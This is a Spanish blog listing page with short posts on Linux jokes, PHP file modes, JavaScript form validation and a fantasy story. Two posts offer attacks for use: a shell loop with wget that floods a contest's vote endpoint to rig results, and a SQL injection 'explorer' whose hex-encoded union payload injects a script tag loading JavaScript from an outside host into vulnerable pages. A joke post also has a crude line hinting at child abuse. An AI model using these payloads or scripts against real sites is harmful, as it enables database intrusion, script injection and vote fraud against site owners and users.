El Apocalipsis linuxero

tuxmuereEsta revelación fue hecha a un siervo geek por la SupeRed. El que tenga el feed para leer, que lea. El que tenga el podcast para escuchar, que escuche.

… y al final de los tiempos, las gentes migrarán a Linux y Linux será el sistema operativo más usado. Pero Linux tendrá millones de millones de virus y los habitantes de la tierra en su desesperación se preguntarán ¿por qué lo hicimos? he intentarán volver a Windows, así sea a su versión 3.1 o más antigua; pero no encontrarán ninguna versión disponible, ni en discos de 8 pulgadas, ni de 3 1/2, ni en CDs, ni en DVDs, ni siquiera en los aposentos de Taringa. Intentarán comprarlo, con todo su dinero pero Microsoft no lo venderá más.

Y Apple querrá aprovechar esto y engañará a muchas personas, haciéndoles creer que su sistema operativo Mac OS es casi tan bueno y potente como Windows. Estas personas después de algún tiempo morirán de pena moral.

En estas épocas la violencia predominará, como lo hace un Debianero en una lista de Ubuntu y viceversa. Solo insultos y comentarios trolls veréis. Y escucharais a personas decir: «Yo no quiero ser como Dino, aquel señor que cuanto toma vino, a todos los inocentes bambinos, regalar quiere su banana.»

Y todos morirán lentamente, hasta los que usaban Gentoo y creían que podían hacerlo todo. Solo quienes persistan en la fe de Windows vivirán por la eternidad, por los siglos de los siglos.

Leer archivos de texto usando PHP

Anteriormente había escrito como Crear TXT con PHP, pero veo que me falto comentar algunos detalles importantes, así que voy a completar el anterior mini-tutorial, explicando como leer archivos de texto usando PHP.

Cuando usamos la función fopen debemos especificar en el segundo parámetro (pasándolo como string) la razón por la que queremos usar el archivo en concreto, ya sea para lectura o escritura. Me explico, anteriormente para la creación de archivos había usado:

$archivo = fopen ("muriba.txt", "w+");

Lo que hace w+ es tomar el archivo muriba.txt y hace una apertura para lectura y escritura. Si el archivo no existe el intentara crearlo, pero deben darle permiso de escritura, de lo contrario PHP arrojara un error. Si el archivo de texto ya posee una información, este será reemplazado totalmente, así que no es recomendable usar w+ si más adelante queremos añadir texto sin que el anterior se borre. Para poder escribir en un archivo sin afectar el contenido del mismo es recomendable usar el modo a. Para entender un poco mejor esto, tienen a su disposición una tabla con cada uno de los modos que pueden ser usados con fopen:

Funcion fopen
modODescripción
‘r’Apertura para sólo lectura; coloca el puntero al archivo al principio del archivo.
‘r+’Apertura para lectura y escritura; coloca el puntero al archivo al principio del archivo.
‘w’Apertura para sólo escritura; coloca el puntero al archivo al principio del archivo y trunca el archivo a longitud cero. Si el archivo no existe se intenta crear.
‘w+’Apertura para lectura y escritura; coloca el puntero al archivo al principio del archivo y trunca el archivo a longitud cero. Si el archivo no existe se intenta crear.
‘a’Apertura para sólo escritura; coloca el puntero al archivo al final del archivo. Si el archivo no existe se intenta crear.
‘a+’Apertura para lectura y escritura; coloca el puntero al archivo al final del archivo. Si el archivo no existe se intenta crear.
‘x’Creación y apertura para sólo escritura; coloca el puntero al archivo al principio del archivo. Si el archivo ya existe, la llamada a fopen() fallará devolviendo FALSE y generando un error de nivel E_WARNING. Si el archivo no exite se intenta crear. Esto es equivalente a especificar las banderas O_EXCL|O_CREAT para la llamada al sistema open(2) subyacente.
‘x+’Creación y apertura para lectura y escritura; coloca el puntero al archivo al principio del archivo. Si el archivo ya existe, la llamada a fopen() fallará devolviendo FALSE y generando un error de nivel E_WARNING. Si el archivo no existe se intenta crear. Esto es equivalente a especificar las banderas O_EXCL|O_CREAT para la llamada al sistema open(2) subyacente.

Continuar leyendo…

BakunOS, distribución basada en Arch Linux

BakunOS es una nueva distribución GNU/Linux en estado de desarrollo, basada en Arch Linux (la que uso actualmente). Para los que hayan probado alguna vez Arch Linux sabrán que después de la instalación, queda un sistema base con casi nada instalado, lo que tiene sus ventajas ya que nosotros mismo podemos montar un sistema a nuestro gusto, con las aplicaciones y configuraciones que queramos, pero puede no resultar agradable para muchos este proceso. La novedad de BakunOS es que trae aplicaciones de uso común ya instaladas. Es ideal para novatos o usuarios avanzados que quieren un sistema simple y estable como lo es Arch Linux.
Continuar leyendo…

JSValidate: Validar formularios con Javascript

JSValidate es un script que nos permite validar formularios de una manera muy sencilla, lo único que debemos hacer es llamar al archivo .JS y seleccionar el tipo de validación que queremos:

Este script requiere otras dos bibliotecas para funcionar, las cuales debemos incluir antes de jsvalidate.js

<script type="text/javascript" language="javascript" src="scriptaculous/lib/prototype.js"></script>
<script type="text/javascript" language="javascript" src="scriptaculous/src/scriptaculous.js"></script>
<script type="text/javascript" language="javascript" src="jsvalidate.js"></script>

Luego en el formulario, indicamos el tipo de validación en el atributo class:

Buscar: <input type="text" name="buscar" class="jsrequired" /><br />  <input type="submit" value="Ir" />

JSValidate nos permite varios tipos de validación:
jsrequired – El campo debe tener algún tipo de valor.
jsvalidate_number – Cualquier número entero, decimal y negativo.
jsvalidate_digits – Solo números.
jsvalidate_alpha – Solo letras.
jsvalidate_alphanum – Solo letras, números y guiones.
jsvalidate_email – Correo electrónico.
jsvalidate_uscanzip – Códigos postales (Estados Unidos y Canadá).
jsvalidate_usstate – Dos letras en mayusculas de estados de USA.
jsvalidate_usphone – Telefonos.
jsvalidate_creditcard – Valida tarjetas de credito como VISA, MasterCard, American Express.
jsvalidate_ssn – Número de seguro social de USA en el formato: XXXXXXXXX, XXX XX XXXX, o XXX-XX-XXXXX

Puedes encontrar más información y documentación aquí. No olvides que este script esta en ingles, pero traducirlo es muy sencillo. Pueden ver un ejemplo que hice usando JSValidate: Calcular IMC.

Descargar JSValidate

Vía ProgramandoIdeas

Editar publicaciones de aplicaciones en Facebook

Hay un amigo que me molesta todos los santos días para que le diga como es que hago para poder editar las publicaciones de las aplicaciones, el proceso es muy similar al de como hacer trampa en juegos de Facebook y para no volver a escribir lo mismo hice un corto vídeo:

El complemento es Web Developer. No solo pueden modificar la frase, también pueden editar cosas como «Abrir una galleta» y cosas por el estilo.

Hacer trampa en ponleestiloatuvida.com

Como no le veo ya ninguna gracia a ese concurso, voy a publicar la forma de hacer trampa, antes de comentar cualquier cosa para los que han seguido este concurso de forma limpia solo les puedo decir Bazinga! mucha gente hace trampa y tienen muchaaaaas visitas.

El primer método es usando el script que publique anteriormente para borrar cookies de flash y acompañado de eso pueden usar un frame que se actualise cada X segundos, abren varias pestañas con ese mismo html y listo. Esta es la forma para Windows 😛

La segunda forma es usando un «shell script» que me paso el patas que sería la forma NoWindows:

while [ `echo 1` ]; do
wget "http://www.ponleestiloatuvida.com/index.php?opcion=pp&a=actualizarVotos&id_usuario=IdDelTramposo" -O perra
done

Abren varias consolas con ese script y listo 😉

El clan CharizARD

EL CLAN

En una tierra no muy lejana, en un mundo llamado Juakxor, existía un clan llamado CharizARD, este clan recibía este nombre por honor a su jefe Lord CharizARD, un guerrero legendario. Se destacaban por practicar la magia blanca, poseían guerreros y magos muy poderosos y un gran numero de Padawanes, todos compartían sus conocimientos y así intentaban ser uno de los clanes más sobresalientes de Juakxor, la tierra donde nada es imposible. Continuar leyendo…

General Injection Explorer 3.0

Anteriormente publique SQL-PwnZ 1.1 una herramienta para realizar inyecciones SQL. La que les traigo hoy es más amigable y solo necesitan usar el navegador, se llama General Injection Explorer 3.0 y fue creada por PonyMagic.

[?] ¿Que es?
Básicamente es un explorador de bases de datos MySQL via SQLi, «incrustado» en la inyección.

[!] ¿Que tiene la versión 3.0?
[+] Codeado desde 0.
[+] Bypasseo de «illegal operation», y limite de group_concat_max_len.
[+] Mejor manejo de CSS && DIVS.
[+] Peticiones realizadas con AJAX.
[+] Nueva forma de ver tablas, MUCHO mas ordenadas.

[?] ¿Como se usa?
En una SQLi, unís otro select y marcas las columnas ( id=-1 union select 1,2,3,4,5 )
En un valor que printee (que se muestre en la web), simplemente copias y pegas el código de la GIE.

(0x3c736372697074207372633d22687474703a2f2f7669727475782e636f6d2e61722f4749452f5f2e6a732220747970653d22746578742f6a617661736372697074223e3c2f7363726970743e)

Ejemplo:
Normal: tales.php?id=-1 union select 0,1,2,3,4,5,6,7,8,9–
Con GIE: tales.php?id=-1 union select 0,1,(0x3c736372697074207372633d22687474703a2f2f7669727475782e636f6d2e61722f4749452f5f2e6a7322207479
70653d22746578742f6a617661736372697074223e3c2f7363726970743e),3,4,5,6,7,8,9–

En el siguiente gif pueden ver como funciona: